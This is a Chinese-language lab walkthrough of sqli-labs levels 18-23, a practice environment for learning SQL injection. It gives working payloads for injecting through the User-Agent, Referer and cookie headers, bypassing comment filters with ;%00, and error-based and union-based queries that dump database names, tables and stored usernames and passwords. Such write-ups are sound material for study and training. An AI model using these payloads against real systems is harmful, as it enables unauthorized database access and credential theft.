sqli-labs(18-23关)

less-18（User-Agent注入）

登录失败显示ip地址
登录成功显示ip地址和User-Agent
在username和password处尝试注入均被转义，无法注入
测试的关键利用注入语句为

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

因为uagents的数据是会写入数据库再输出的，这是我们得以成功注入的关键
分析后得知，抓包修改请求包的User Agent（关键是闭合前后的语句）

' or updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) and '1'='1

' or updatexml(1,concat(0x7e,(database()),0x7e),1), '','')#

成功报错

less-19（referer注入）

登录成功显示的是Referer信息
登录失败是没有回显信息的
与18关相似，区别在于与数据库交互的地方在referer这里

less-20（cookie注入）

查看源码发现
在登录之后后台会将username放入cookie中，再次登录的时候，只要是cookie没有过期，就会去cookie里面取值，然后进行查询
使用Cookie Editor（一个火狐插件）
在cookie处注入

' union select 1 ,2,database()#

正常登录界面如下：

修改cookie后刷新界面

less-21（cookie注入）

同less-20
区别在于less-21的cookie是base64加密过的，其他同上一题

less-22

同上，这关与前面不同的是用的是双引号闭合

less-23(00截断)

阅读源代码发现，这里参数id输入的 # 和 – 都会被替换为空值
针对sqllabs可以使用 ;%00 做注释来绕过
查询语句部分可以用常规的union select联合查询
也可以用updatexml报错注入来做

?id=1     返回正常
?id=1'     返回异常，说明可能存在漏洞
?id=1' --+      或者
?id=1' #         均返回错误，通过源代码分析，我们得知--+    #  都被替换为了空格，这里使用      ;%00充当注释符
?id=1'  order by 3  ;%00     查多少列
?id=-1'  union select 1,2,3    ;%00       查找回显位置
?id=-1'  union select 1,2, group_concat(schema_name) from    information_schema.schemata    ;%00             查库名
?id=-1'  union select 1,2, group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479    ;%00             查表名
?id=-1'  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00             查字段名
?id=-1'  union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users   ;%00             查出字段中所有的值

拓展：
在执行sql语句的时候，如果order by 语句写在or/and语句前面，优先执行的是or/and语句，order by 语句会被直接忽略不执行，更不会报错
但是order by 语句在or/and语句后面的时候，order by 语句会被正常执行
但是如果我们想通过order by语句来查询字段数的时候，应该如何去利用呢？
首先想到的是
?id=1’ or ‘1’=‘1’ order by 10
但是后台的查询语句中会构造成
SELECT * FROM users WHERE id=‘1’ or ‘1’=‘1’ order by 10’ LIMIT 0,1
多一个引号，从而产生报错
那么
?id=1’ or ‘1’='1 order by 10
会回显出正常的数据而不会报错

这里我们明知道只有三个字段，但是却回显了正常的的数据而没有报错，说明在sql查询语句中order by 10还是被忽略了
所以这里不能使用order by 语句查询，只能使用union select

?id=1111'  union select 1,2,3,4 and '1'='1  
?id=1111'  union select 1,2,3,4 or '1'='1  

因为这里的and 或 or作为了联合查询第二个语句的条件而不是第一个语句where的条件,
即：and/or 与前面的union select的优先级是一样的，所以两个语句都会被执行

?id=1111'  union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1                     #后面接常规的sql报错注入流程

当然直接使用updatexml报错注入也行

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) or '1'='1           #爆数据库
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1) or '1'='1    #查询所有的数据库，使用limit进行逐个查询

这里如果不想用limit一个一个查也可以直接用group_concat拼接一次查完，但是不推荐，有可能数据会显示不完全导致数据丢失（示范如下）

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) or '1'='1

总结：
order by不得行就联合查询，联合查询还是不得行就updatexml报错注入

参考：
SqliLab_Mysql_Injection详解：

https://blog.csdn.net/qq_41260930/article/details/102838945

MySQL架构总览->查询执行流程->SQL解析顺序：

https://www.cnblogs.com/annsshadow/p/5037667.html